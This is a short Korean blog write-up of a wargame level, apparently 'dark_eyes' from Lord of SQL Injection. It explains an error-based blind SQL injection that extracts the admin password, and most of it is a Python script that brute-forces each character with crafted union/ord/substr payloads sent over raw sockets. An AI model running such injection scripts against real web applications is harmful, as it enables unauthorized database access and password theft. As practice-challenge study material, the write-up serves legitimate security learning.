접기
전단계에서 이용했던 select 1 union select 2를 이용해서 풀면된다. 이 구문으로 if 문을 막아놓았던 부분을 쿼리가 실행될때 에러가 생기거나, 제대로 실행되는 것을 통해서 알 수 있다. 쿼리가 제대로 작동을 하면 원래 페이지가 뜨고, 만약 제대로 작동하지 않으면 어떤 페이지도 안뜨게 쿼리를 만들어서 찾을 수 있다.
먼저 length 함수를 이용해 패스워드 길이를 알아보았다. 패스워드의 길이는 8글자임을 확인할 수 있었다. 그리고 ord, mid를 통해서 하나씩 패스워드를 찾아냈다.
접기 접기
[Dark_eyes 자동화프로그램] - Python3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#LOS_Dark-eyes
import socket
for i in range (1 ,9 ):
for ch in range (48 ,123 ):
if 58 < = ch < = 64 : continue
if 91 < = ch < = 96 : continue
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('104.27.174.42' ,80 ))
header = "GET /dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php"
header + = "?pw=' or id='admin' and (select 1 union select (ord(substr(pw," + str (i)+ ",1))=" + str (ch)+ "))%23 "
header + = "HTTP/1.1\r\n"
header + = "Host:los.eagle-jump.org\r\n"
header + = "Cookie:PHPSESSID=e84gpdkoqtbuk26b6hl7lkq6t3\r\n" #쿠키는 현재 세션값
header + = "\r\n"
response = ''
sock.send(header.encode())
response = sock.recv(65535 )
response = response.decode()
if "select id from prob_dark_eyes" in response:
print ( chr(ch), end= '' ,flush= True)
sock.close ()
break;
sock.close ()
print ()
IT Security
접기